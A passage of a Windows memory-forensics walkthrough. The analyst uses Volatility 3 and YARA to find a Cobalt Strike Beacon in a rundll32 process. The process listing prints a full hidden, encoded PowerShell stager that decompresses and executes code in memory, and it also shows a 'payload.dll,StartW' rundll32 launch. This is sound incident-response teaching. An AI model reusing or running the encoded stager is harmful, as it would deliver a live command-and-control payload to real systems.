92 Registry Required memory at 0x20 is not valid (process exited?)
304 smss.exe Required memory at 0xb439a5b020 is not valid (process exited?)
416 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
492 wininit.exe Required memory at 0xf32bb96020 is inaccessible (swapped)
500 csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
588 winlogon.exe winlogon.exe
632 services.exe C:\Windows\system32\services.exe
660 lsass.exe C:\Windows\system32\lsass.exe
760 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p
772 fontdrvhost.ex Required memory at 0x983ebae020 is inaccessible (swapped)
768 fontdrvhost.ex Required memory at 0x2e08a79020 is inaccessible (swapped)
884 svchost.exe C:\Windows\system32\svchost.exe -k RPCSS -p
972 dwm.exe Required memory at 0x16b5215ff is not valid (process exited?)
440 svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p
344 svchost.exe Required memory at 0x20266003378 is inaccessible (swapped)
360 svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
876 svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p
1172 svchost.exe C:\Windows\system32\svchost.exe -k LocalService -p
1272 svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
1428 MemCompression Required memory at 0x20 is not valid (process exited?)
1480 svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1676 svchost.exe Required memory at 0xf645948020 is inaccessible (swapped)
1684 svchost.exe Required memory at 0x909d34b020 is inaccessible (swapped)
1788 spoolsv.exe Required memory at 0x10eb020 is inaccessible (swapped)
1872 svchost.exe Required memory at 0x6500bf600098 is not valid (process exited?)
2008 svchost.exe Required memory at 0x80780f7020 is inaccessible (swapped)
2080 sihost.exe Required memory at 0x28700281b48 is inaccessible (swapped)
2092 svchost.exe Required memory at 0x2b86fc03368 is inaccessible (swapped)
2140 svchost.exe Required memory at 0x266106032f8 is inaccessible (swapped)
2244 vm3dservice.ex Required memory at 0x8729baf020 is inaccessible (swapped)
2252 VGAuthService. Required memory at 0xe49cc1d020 is inaccessible (swapped)
2276 MsMpEng.exe Required memory at 0x69c1943020 is not valid (process exited?)
2284 vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
2380 taskhostw.exe Required memory at 0x1afc45f020 is not valid (process exited?)
2404 taskhostw.exe taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2520 vm3dservice.ex Process 2520: Required memory at 0xfdac105020 is not valid (incomplete layer memory_layer?)
2840 ctfmon.exe Process 2840: Required memory at 0x1935cea020 is not valid (incomplete layer memory_layer?)
2880 svchost.exe Required memory at 0x152082032f8 is inaccessible (swapped)
640 dllhost.exe Required memory at 0x1c9760f1ae8 is inaccessible (swapped)
3128 WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe
3240 msdtc.exe Required memory at 0x800ba3020 is inaccessible (swapped)
3508 userinit.exe Required memory at 0xd59bec7020 is not valid (process exited?)
4260 svchost.exe C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p
4400 SearchIndexer. C:\Windows\system32\SearchIndexer.exe /Embedding
4724 RuntimeBroker. Required memory at 0x26470e03368 is inaccessible (swapped)
4932 RuntimeBroker. Required memory at 0xdadfdb4020 is inaccessible (swapped)
1908 Microsoft.Phot Required memory at 0xeead9c0020 is inaccessible (swapped)
5392 RuntimeBroker. Required memory at 0x6a6b1c020 is inaccessible (swapped)
5848 RuntimeBroker. Required memory at 0xdc206e4020 is inaccessible (swapped)
5912 RuntimeBroker. C:\Windows\System32\RuntimeBroker.exe -Embedding
1996 svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1584 dasHost.exe Required memory at 0x4f926fa020 is inaccessible (swapped)
3912 SecurityHealth Required memory at 0x640d1a0020 is inaccessible (swapped)
3964 SecurityHealth Required memory at 0x1839e8b1ae8 is inaccessible (swapped)
5984 vmtoolsd.exe Required memory at 0x16beabd226c is inaccessible (swapped)
6908 SkypeApp.exe Required memory at 0x78 is not valid (process exited?)
7032 RuntimeBroker. C:\Windows\System32\RuntimeBroker.exe -Embedding
4920 svchost.exe Required memory at 0x34a8ee7020 is inaccessible (swapped)
1260 RuntimeBroker. Required memory at 0xe7bf823020 is inaccessible (swapped)
2320 ApplicationFra Required memory at 0x53775f020 is inaccessible (swapped)
2440 WWAHost.exe Required memory at 0x811ed5d020 is inaccessible (swapped)
6732 dllhost.exe Required memory at 0xaf3a7d8020 is inaccessible (swapped)
7028 WinStore.App.e Required memory at 0x4cc3601020 is inaccessible (swapped)
7320 svchost.exe Required memory at 0x8e7d877020 is inaccessible (swapped)
7884 SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
8024 svchost.exe Required memory at 0xe7489d4020 is inaccessible (swapped)
8100 svchost.exe Required memory at 0x2970291020 is inaccessible (swapped)
6160 svchost.exe Required memory at 0x78 is not valid (process exited?)
3372 powershell.exe Required memory at 0x15ce1221b78 is inaccessible (swapped)
3136 conhost.exe Required memory at 0x23ead681b78 is inaccessible (swapped)
6564 Autorunsc64.ex Process 6564: Required memory at 0x1ca110452020 is not valid (incomplete layer memory_layer?)
7148 explorer.exe explorer.exe
1380 Sysmon64.exe C:\Windows\Sysmon64.exe
4208 unsecapp.exe Required memory at 0x2cff1e020 is inaccessible (swapped)
7316 StartMenuExper "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
4640 TextInputHost. "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca
672 SearchApp.exe Required memory at 0x50435f676ee1 is not valid (process exited?)
4504 ShellExperienc Required memory at 0x12bdd05f is inaccessible (swapped)
5520 RuntimeBroker. Required memory at 0x5f2a3f4020 is inaccessible (swapped)
2868 SkypeBackgroun Process 2868: Required memory at 0x1f01ffec0000 is not valid (incomplete layer memory_layer?)
7820 Velociraptor.e "C:\Program Files\Velociraptor\Velociraptor.exe" --config "C:\Program Files\Velociraptor\/client.config.yaml" service run
6388 chrome.exe Required memory at 0x315417b020 is not valid (process exited?)
3648 rundll32.exe "C:\Windows\System32\rundll32.exe" payload.dll,StartW
6744 powershell.exe "PowerShell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAVwBhAFcALwBpAFMAaABiADkAbgBQAHcASwBmADIAZwBKAFUAQgBNAEcAYgBDAEQATgBHADcAWAAwAEQATQBiAHMAUwB5AEEAcwBkAGwANABVAGwAYwB1AEYASwBlAEsAMQBYAEEAYgBEAG0ALwBmAGYANQA1AGEAQgBkAEgAbwA2AFAAZABQAFMAegBFAFMASwBxAEgATABkADUAZABTADUAUwA5ADAANQA0AFgAZAB6AHoAaQBqAG0AbwA4AEEAbQAwAHQAMgBTAHMASgBnAEcAdgBpAFQAZgAzAG0ANABTAEgAMwBPAHgARgBvAHMAWABoAC8AQwBYAGsAQQBYADQAQgBkAGsAMgBJADMARQBzAC8AWABsADcATQAwAFUATQBlAFYATAArADAAeAA2AHgARgB5ACsAdwBFADUAYwBVAHAAVwB3AGoAQgBJAG0AZABNAEYASwA0AHUAYgBtADkAeQBUADQAbABmAG8AdwAyADUATQBWAEgAbgBPADcASgBpADAAZgA0AE4AcgBCAGoANgBhAHUAVQBmADEATABEAFUAQQBzADgAUgBQADMAbgAzADMANQByAEoAWQB3AFIAbgA1AC8AMwBwAFEANwBoAGEAaAB3AFQAegAzAEkAcABpAGYATQBGADYAUgAvAFMAYQBrAHMAWQB1AFoAdABZAE8ANABLADUAOQBLAGYAMAA2AGEAWABVAGMAUQBNAEwAdQBSAGUAeABZAHcAdgBoAEwAZAB4AEMAOQBXADEAeABOAGcAdwB3AEUAagBjAG8AegBVAE8AWAA4AG4AegB1AGoAegA5AHkAaABhAGUANwB5AG4ATwBwAEgAUwBYAEkAagBmAE8ANQArAFQASABtAHgAQwB2AFoAcgBwAHMAcgBTAEgAOABWAGgATQBQAEgAWQAwAGoAeQB1AFIASABGAEwASQBpAEQARABTACsAdABxAEsALwBJAHAAVQBXAEcAZgBwAHkAQgBIADUAMgB4ADUAdwBxAFgAbQB6AGsAaABnAG4AdgA4AC8ASgBMAEMANgBsAGsAbgBuADQAUABsAEYATABoAFIAegB4AHoAbQBpAHQASwBUADgAUABmADAALwBDAHoAOQAvAG8AWgBtAGwAdgBpAGMAZQBxAFQAVQA4AHoAbABoAFEAVABnAG4AYgBFADgAeABpAFUAdABkADUATgBzAHUAbQBaAEUATgBxAE8AVgBpAGkASgBuAHYANQBBAG8AQQBnAGgARwBlAE0ARgArADYAWQBnAEcAOQBmAGYAQgBLADgAcAAvADgAeABIAFcATABZAFAAZgBwAFYAKwAwACsANQA4AGYAawBjAEMAWAAzAFYANQBYAHkANwA1AFYAQQBhAHMAcABaAG8AWABqAEoAaQBWACsAaABZADUAVABsAHoAZABrAGMAWABPAGMASAA5AE8AKwBTAHEAdwBCAC8AUAB5AFIAWQA0AGYAYQB2AGoAMQBMAFYASgBpADUAeABFAEMAYwB2AEgAUABoADkAbAA2AHUAMwBOAHoAZABQADIAWgBMAEEAZgBmAEwAVABJAEsAYQBaADMAbABlAHAAWABKAFIARwBBAEEATAB4AGcAQgAxAEYATwBCADkAWgBRAGcAcgBQADMAKwBKAHoAZABuAHYAVgBqAEkAcwAvAE4AVgBTADUAYQBsADEAMAB6AHUARQA1ADQALwBnAHEAUABTADAARABhAGoALwBmADMAaABSAHUATAA5AGsAagB2AHIAOQBZAEMAWABWAHQAdwBzAFQANQB6ADYAdABCAEkAeAB2AHEARQArADMAbwBJADQALwBpAGEAOABMAG4AUAA0AG8AWgAyAGIAZwBrADQANgBOADAARgBSAHMARAB6AG4AegB1AGMAawBCAHMANwBjAEoATwBUAGgARAA2ADkASwBOAGEAMgA2AFAAOABUAGIAZAA1AEIAcQBkAGkAaQBIAHMATQBxAEMAQQBsAEMAdAArAEQATwBjAGMAdwBuACsAdgA1AEkAKwBJAEIAZgArAGMAOQBwAE8AbQBuAEQAWgBRAFoAdQBVAHAAZgBTAHUAdAA0ADkAUwA3ADIASQBwAGQAYgBMAG8AcgBqAG8AagBSAE4AbwBNADUAeABVAFoAbwBUADUAQgBLADcASwBLAGwAKwBUAEMAOQBIAGEAcwBLAEQAYgBKAG4ANwBCAG4AZQBVAHUASgB4AGkARgBQAE8AcgB1AGUAZgBDAEIANQBSAGUAWABMAGMAQwBIAHkAbwBtAHcAUgBCAGQAbwBPAEYAeABIAGgASgBNAGsAUwB0AFkASwBVAHAAZABhAHAAUABtAGMAVQA2AGQASwA0AFQAYwBoADUAeQAwAGsATwB0AEMAeQBZAEcAbABQAGMAUQBFAHYAZwBnAHUANQBsAHoAawBEAEwATwBMAC8ANQBvAGYAaABkAEsAYwA4AEoANABYAHUAcwBRAEQANgBhAHcATAA2AFMANQB5AG8ATwBkAGMASwBpAHAATABOACsAUQBRAE8ALwBkAHYAWQBGAC8AcgA1AEYAdwBVAGcAcQBzAHIAUwBlADkAQQBRAHcATABNADMAWQBBAFgAcABTAFYAbABIAFAAcABhAHIAdgBoAEQANAB2ADEAMwA4AEwANQB2AE0AZAAvAEIAYgBEAEYAeQBDAFcAUQArAEsAOABUAGUAQgBoAHIANgB1AFEAcwBBAE8AegBFADkAUQBUAE0AbQBrAGYAUwBsAEkARQByAHcAcQBYAG4AawBvAHAAWQB5AE0AMQBnADgATgAxAC8AZgBpAE0ANQBvAFoAUgB5AFUAZABCAFoANABUAFIAUwBUAGUAbgBXAGUAOQBiAGgAOABUAHAARQBUAEoAMgAxAE0AaAAvAFgAagBhAE4AZQBUACsAMABmAEQASAA2AGYAWQBYADcATAAyAFgAdQArAGcAKwBqAFoAOQBrAEoATQBBAFAAMwBJAFcAZABkAHMAYQA3AEcAZABZAGoAbQBPADMANAA0AGIAVwBkAGgAaQBoAGQATABqAGIAcABZADMAVwArAHQAaQBlAHEAdgBLAFEAMQBtAG0ATgA5AHAASgBoADgAKwBUAHIARgBIAHUAZwA5AHoAQQBKAGoARgBtAEQAOQBmAFoAagBQAFgARABqACsAMABGAEwAWAB5ADAAUQAzAFUAVwBaAHIAOABTAHIAVgB1AHcAMgBPAGcANQBQAHUATAA1AGwARQA1AGsARQB4AG0ARQBjADkAZgBaAFQAMQBWADcAdABjAGQAMABiAEIASABxAGQAZwArADQAeQBhAFMAYwBoAGEAeQBlAFQAcQBaAEUATQBvADYASABYAG8AOQBYAHQAWABsAHYAeQAvAHIANwBYACsAZABJAGQAeQBBAGIANgA0AGwAcgAzAEoATgBPADMASQArAEgATABpAEoAdwA5AEUAdgB0AFQAUQArAHgAcAAxAEMASgBNACsARABHAEEAZgBhAEoAVQA2AG0AVABWAHYAegBmADgAawBKAEoAVgA0AHAAdwBPAFkANAByAHQAawAwAGIAawBQAG4AeABQAGcAaABFAE8AWQAyAFYAOAB3AHAAdgBYADEAeAAwAEsASwA0AHYANQBhADIAWAB3AHUARABEAFgAdwBFADAARgBSAFUAeQAzADYAbQB4AHUAaABPADUAKwBxAFMANQBlAGwAYQBuAEoATQBtAHgANwBIAFQAQwBPAEIAVQA2AEsANQBmADcASgBDAEYAOQBOAGUAeABtADEAbABhAG4AVgBXADMAUgBkAEYAaQBWADkANgBpAGwAdwA1ACsATgBGAHgAdQBzAGYANQAvAE0AbQAvAEEANQBNAGUAeABCADkAcQBkAGsAbgArAGQAZwBOAHEANgBqAE8ASwBIAEMAYQBnAHAAOQA3AHcAUwA5AGUAeABMAHYAZQBhAHUATABqAHQAVQA0ADkAdgBKAFcAMQAyAFEANAAzAHYAQwBTAHEAQQBlADUAcQBkADkAdwBmAHIARgBNAFcAOABUADYATAA5AG0ANQBVAG0AMAB5AHgAdwBKADMAcABDAGYAbQBIAHEAagB1AHAAZwBIAHgAawA3AFkAWQBEADkATABsAEgAUgB6AHYAVQBPAE0AWABEAEEAZABtAEwAOQBYAEcAcQBEAGQASgBqAGIAOQBmADcAawBqAFMARgBuAHQAWQB4AGoANQBZAGUANwAzAFQAdgAwAE0ASQBIAGMAdwBkADUAVQBOAFcAVgB4AG8AbQBzADQANQBWACsANABLAGYATgBRADcAQQB3AE8AdQBwAEEAMQA2AHQAZAAwAHcAcwBkAHcAMgA5AFAAYwBOAGUAbQAxAHMAcQBtAGUASQBVAG4AaABsAGQAUgBrAEwAOABFADMAKwBaAEIAOAAyADAAUABkAC8ASABFAFgASQBWADcAMAArAGwAMQAwAFcASABMAFcAdgBQAFIAeQBsAEwANwBwAHkAWQBkAHkANAB1ADIATwBkAE8AOABmAG4AdgAyAFcAbABsADMASABzAGIASgBvACsANABPAEgAcwB1AE4AbAB0AFkAMAB4AHUAMwBEAGEAUABqAFEAVABpAGUATABjAG4AOAA5AGYAOQBXAG4AcwA2ADIAagBXAFgANAB6AE0AcAAwAFIAMABtAFkAagBRADEAVgBtAEUAQQA5ADcAdABOAFIAVgB6AFYAcABqAFQAWAA4AG8AegB6AHYAcQBXAEYAawBzAHcAcQA2AHcAbAA5AGwASQBIAGMAMQBZAHAAWgBHADUARABRAHoAVABxADgAaQA0AFUAegBzAFkAbgBUAFIAcAAwAFcAcgBZAFMAOAAxAFkAOQBVAGMAZABBACsASgBFAG0AdgBiAGYAcwBPAEwAZQA2ADEAcwA4AHgARQBwADUAbwBIAGUAYQBUAG0AcwA3AEkAMAAzAFoAagBJAHgATwBQADkAWAA4AHAAZwBMADMAOABnADEAZgA5AHcARQB2AHQAKwBXAHcAZwBuAHgAZAB4AG0AcABOAE0AZQBGAE0AOAA1AGEAUgBKAFIAdQB0AHAAaAB6ADMAMABPAEgAMQAvADgAKwBkAEIANwBtAHEATwBPAHUATgBNAHEANgBSADEARgBpADMAbABIAEUARAA4AEQAcQBHAEcAaQB6AFcAagB1ADAAaABEADMATABxAG8AWABhAHcANQBUADQAMwA1AFgANQBxAEgAbQByAFUAVwB0AHUAUgB2AFEAcABUADIAMQBjAG4AdABtAHcAZQA3AEUAUABOAFIAVgA3AEQAVQB4ADIAYgB0AFQAcAB4AC8AOABMAEgAegBnAGkAVgBSAHoAZgBRAEsAKwBlAGMAagBrAHoASQBWAGEAagBSAGcAZABVADcAaQBWAG8AZABJAEMATwByADIAWQBGAEoAcQB2AFkAaAA1AFMAYwBaADMAVABjAFAAdQBKAE4ARQBLAGYAeQBYAEkAUwBjAC8AcgAwAEQAMgBJAEcAUwBpAFMASQBhADgASABsAG0AcgA2AEEAQgA1AGoAZQBxAGEAcgA5AGEAdAAzAGIASwAyADEASwBQAFcAagBQAFcAUwBGAHQAUwA5AFYAUwBZAEsAdgAwAGQASABBADIAcABpAHQATQBPAGYAdABlAEYAKwBmAEkAKwBWAGQAcQBPAHoAcgBEAFQAYgBqADIAMgArAGUAbAB6AGkAOABhAEkAZAByAG0AZAAwAGwATQBsAGsAcgBYAEkAVABNAEoAaAArAFUAagBGAFIALwBGADIAQwAzAHoAdQBYAFMAMgA4AE4ARAA5AG8AYwB0AEYAZgB4AC8AZgBQAG4AcgBDAFgAZQB2AEIAMAA5AGYAVQBxAGYAcgAyAFAAawAyAC8ANwBPAFMAcwBHAGMAVQByAHUAOQArAGUAcwA2AEwAKwB6AFIAdQA2ADcANQBzACsAbABzAGgARgBpADgAUgBTADUAMABVADUAaQB3AHIAdQArAGoASABqAEQAOQBNAGkAZABOAEEAeQBvADAAOAB2AG0AUABSAC8AdABYAHcAbgB6AGkAdwB0AGcATABnAC8ASAAxAFYAVgBGAGQATgA4AEIAaQBzAHYAdgBKAGkAUABYADcAVwA5ACsASAAxADMATQBCAFMAMABYACsAYwBGAFgANAA5AGsAQQBVAEMAdABlAG4AegAwAG8AMgBtADIAegA4AHUAVgB6AHgATwBnAFYAKwBlADAAcABNAHUARgAvAHgASABaAEYARAA0AGoAdAA4AFcANQBUAEsAcQBWAEkAdQBsADgAVgB2AHQAUQB6AFcAZgBwADIAWQBWAGgAQQBlADgAMgAvADIAaQBtAEwAKwBlAHcAZgBsAHYAUwBzADMAYwAvAFUAMgBzAEwASABFADkAOABqAC8ATQBBAGIAZgBlAGYAMwBQADcAQQByACsAcwBoAG4AeQBHADMAcwBaAG8AbwA4AHAARQA0AC8AeQBQAHcASAA0AGIAWQB6AFoANAB3ADAAQQBBAEEAPQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
5692 conhost.exe Required memory at 0xf3f686e020 is inaccessible (swapped)
5468 rundll32.exe C:\Windows\System32\rundll32.exe
3944 VSSVC.exe C:\Windows\system32\vssvc.exe
7292 svchost.exe C:\Windows\System32\svchost.exe -k swprv
2432 smartscreen.ex Required memory at 0xed2b7c8020 is inaccessible (swapped)
892 chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
4492 chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\johndoe\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\johndoe\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=115.0.5790.171 --initial-client-data=0x19c,0x1a0,0x1a4,0x178,0x1a8,0x7ffa8aede9e0,0x7ffa8aede9f0,0x7ffa8aedea00
7208 chrome.exe Required memory at 0x4a793ec020 is inaccessible (swapped)
2784 chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1888,i,11977534670868737611,7243353188915732905,262144 /prefetch:8
3052 chrome.exe Required memory at 0x402b8c6020 is inaccessible (swapped)
7416 chrome.exe Required memory at 0xf4cc644020 is inaccessible (swapped)
4972 chrome.exe Required memory at 0x47ac6de020 is inaccessible (swapped)
4296 chrome.exe Required memory at 0xda35b8020 is inaccessible (swapped)
3416 chrome.exe Required memory at 0x3e51f7c020 is inaccessible (swapped)
4040 winpmem_mini_x "C:\Program Files\Velociraptor\Tools\winpmem_mini_x64_rc2.exe" "C:\Program Files\Velociraptor\Tools\tmp2081306188.raw"
5112 conhost.exe \??\C:\Windows\system32\conhost.exe 0x4
C:\Users\johndoe\Desktop\volatility3-develop>
Now cmdline gives stronger evidence:
- PID 3648:
rundll32.exe payload.dll,StartWIt is loadingpayload.dlland calling the exported functionStartW. That is suspicious and confirms this process needs deeper investigation. - PID 6744: PowerShell used
-nop -w hidden -encodedcommandand then decoded and decompressed code in memory. This is the strongest malicious-looking command. - PID 5468: only shows
C:\Windows\System32\rundll32.exe, with no DLL or arguments visible. We cannot confirm it as malicious yet.
The strongest pivots were now 6744 first, then 3648. PID 5468 remained unresolved.
I dumped PID 3648 for content-based validation.
python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.memmap --pid 3648 --dump Volatility 3 Framework 2.5.0 ---SNIP--- 0xf8016d0e9000 0x2077d000 0x3000 0x1bde4000 pid.3648.dmp 0xf8016d0ec000 0x20700000 0xd000 0x1bde7000 pid.3648.dmp 0xf8016d0f9000 0x7d827000 0x1000 0x1bdf4000 pid.3648.dmp 0xf8016d0fa000 0x2068e000 0x1000 0x1bdf5000 pid.3648.dmp 0xf8016d0fb000 0x7d826000 0x1000 0x1bdf6000 pid.3648.dmp 0xf8016d0fc000 0x1cee3000 0x1000 0x1bdf7000 pid.3648.dmp 0xf8016d0fd000 0x20691000 0x1000 0x1bdf8000 pid.3648.dmp 0xf8016d0fe000 0x20792000 0x1000 0x1bdf9000 pid.3648.dmp 0xf8016d0ff000 0x20693000 0x1000 0x1bdfa000 pid.3648.dmp 0xf8016d100000 0x7d825000 0x1000 0x1bdfb000 pid.3648.dmp 0xf8016d101000 0x7d824000 0x1000 0x1bdfc000 pid.3648.dmp 0xf8016d102000 0x7d828000 0x1000 0x1bdfd000 pid.3648.dmp 0xf8016d103000 0x20697000 0x2000 0x1bdfe000 pid.3648.dmp 0xf8016d105000 0x7d823000 0x1000 0x1be00000 pid.3648.dmp 0xf8016d106000 0x2069a000 0x1000 0x1be01000 pid.3648.dmp 0xf8016d107000 0x7d822000 0x1000 0x1be02000 pid.3648.dmp 0xf8016d187000 0x2e1a000 0x1000 0x1be03000 pid.3648.dmp 0xf8016d190000 0x2071b000 0x1000 0x1be04000 pid.3648.dmp 0xf8016d191000 0x2279c000 0x1000 0x1be05000 pid.3648.dmp 0xf8016d192000 0x2271d000 0x1000 0x1be06000 pid.3648.dmp 0xf8016d193000 0x2451e000 0x1000 0x1be07000 pid.3648.dmp 0xf8016d194000 0x2479f000 0x1000 0x1be08000 pid.3648.dmp 0xf8016d195000 0x20720000 0x1000 0x1be09000 pid.3648.dmp 0xf8016d196000 0x207a1000 0x2000 0x1be0a000 pid.3648.dmp 0xf8016d198000 0x206a3000 0x2000 0x1be0c000 pid.3648.dmp 0xf8016d19a000 0x207a5000 0x1000 0x1be0e000 pid.3648.dmp 0xf8016d19b000 0x24db0000 0x1000 0x1be0f000 pid.3648.dmp 0xf8016d19c000 0x24db2000 0x1000 0x1be10000 pid.3648.dmp 0xf8016d19d000 0x207a7000 0x1000 0x1be11000 pid.3648.dmp 0xf8016d19e000 0x7d820000 0x1000 0x1be12000 pid.3648.dmp 0xf8016d1a5000 0x2e1a000 0x1000 0x1be13000 pid.3648.dmp 0xf8016d1b0000 0x217b9000 0x5000 0x1be14000 pid.3648.dmp 0xf8016d1b5000 0x25dbe000 0x1000 0x1be19000 pid.3648.dmp 0xf8016d1b6000 0x25d3f000 0x1000 0x1be1a000 pid.3648.dmp 0xf8016d1b7000 0x25dc0000 0x6000 0x1be1b000 pid.3648.dmp 0xf8016d1bd000 0x259c6000 0x3000 0x1be21000 pid.3648.dmp 0xf8016d1c0000 0x25dc9000 0x3000 0x1be24000 pid.3648.dmp 0xf8016d1c3000 0x259cc000 0x1000 0x1be27000 pid.3648.dmp 0xf8016d1c4000 0x25dcd000 0x6000 0x1be28000 pid.3648.dmp 0xf8016d1ca000 0x7d81f000 0x1000 0x1be2e000 pid.3648.dmp 0xf8016d1cb000 0x25dd4000 0x1000 0x1be2f000 pid.3648.dmp 0xf8016d1cc000 0x25d55000 0x1000 0x1be30000 pid.3648.dmp 0xf8016d1cd000 0x2a2bd000 0x2000 0x1be31000 pid.3648.dmp 0xf8016d1cf000 0x25cd7000 0x2000 0x1be33000 pid.3648.dmp 0xf8016d1db000 0x2e1a000 0x1000 0x1be35000 pid.3648.dmp 0xf8019bc70000 0x1e722000 0x1000 0x1be36000 pid.3648.dmp 0xf801b19f0000 0x2e991000 0x1000 0x1be37000 pid.3648.dmp 0xf801d3630000 0x4aefd000 0x1000 0x1be38000 pid.3648.dmp 0xf801d3631000 0x3f6fe000 0x1000 0x1be39000 pid.3648.dmp 0xf801d3632000 0xf4ff000 0x1000 0x1be3a000 pid.3648.dmp 0xf801d3633000 0x75c00000 0x1000 0x1be3b000 pid.3648.dmp 0xf801d3636000 0x5b083000 0x1000 0x1be3c000 pid.3648.dmp 0xf801d363a000 0x73407000 0x1000 0x1be3d000 pid.3648.dmp 0xf801d363b000 0x35f08000 0x1000 0x1be3e000 pid.3648.dmp 0xf801d363c000 0x31189000 0x1000 0x1be3f000 pid.3648.dmp 0xf801d8c70000 0x6b02a000 0x1000 0x1be40000 pid.3648.dmp
I then scanned the dump with YARA rules. The rules came from the Neo23x0 signature-base repository.
Running the rules:
PS C:\Users\johndoe\Desktop\volatility3-develop> $rules = Get-ChildItem C:\Users\johndoe\Desktop\yara-4.3.2-2150-win64\rules | Select-Object -Property Name
PS C:\Users\johndoe\Desktop\volatility3-develop> foreach ($rule in $rules) {C:\Users\johndoe\Desktop\yara-4.3.2-2150-win64\yara64.exe C:\Users\johndoe\Desktop\yara-4.3.2-2150-win64\rules\$($rule.Name) C:\Users\johndoe\Desktop\pid.3648.dmp}
PS C:\Users\johndoe\Desktop\volatility3-develop> $rules = Get-ChildItem C:\Users\johndoe\Desktop\yara-4.3.2-2150-win64\rules | Select-Object -Property Name
PS C:\Users\johndoe\Desktop\volatility3-develop> foreach ($rule in $rules) {C:\Users\johndoe\Desktop\yara-4.3.2-2150-win64\yara64.exe C:\Users\johndoe\Desktop\yara-4.3.2-2150-win64\rules\$($rule.Name) C:\Users\johndoe\Desktop\pid.3648.dmp}
HKTL_CobaltStrike_Beacon_Strings C:\Users\johndoe\Desktop\pid.3648.dmp
HKTL_CobaltStrike_Beacon_4_2_Decrypt C:\Users\johndoe\Desktop\pid.3648.dmp
HKTL_Win_CobaltStrike C:\Users\johndoe\Desktop\pid.3648.dmp
CobaltStrike_Sleep_Decoder_Indicator C:\Users\johndoe\Desktop\pid.3648.dmp
The scan produced several matches associated with the Cobalt Strike framework.
The YARA matches make PID 3648 a high-confidence candidate for a Cobalt Strike Beacon payload.
Identifying Loaded DLLs
payload.dll for process 3648, with the Start function serving as a clear sign of payload.dll’s execution.
PS C:\Users\johndoe\Desktop\volatility3-develop> python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.dlllist --pid 3648
Volatility 3 Framework 2.5.0
PID Process Base Size Name Path LoadTime File output
3648 rundll32.exe 0x7ff782070000 0x17000 rundll32.exe C:\Windows\System32\rundll32.exe 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa36b0000 0x1f8000 - - 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa2400000 0xbf000 KERNEL32.DLL C:\Windows\System32\KERNEL32.DLL 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa0ec0000 0x2f6000 KERNELBASE.dll C:\Windows\System32\KERNELBASE.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa26b0000 0x9e000 msvcrt.dll C:\Windows\System32\msvcrt.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa1ef0000 0x354000 combase.dll C:\Windows\System32\combase.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa11c0000 0x100000 ucrtbase.dll C:\Windows\System32\ucrtbase.dll 2023-08-10 09:15:14.000000 Disabled
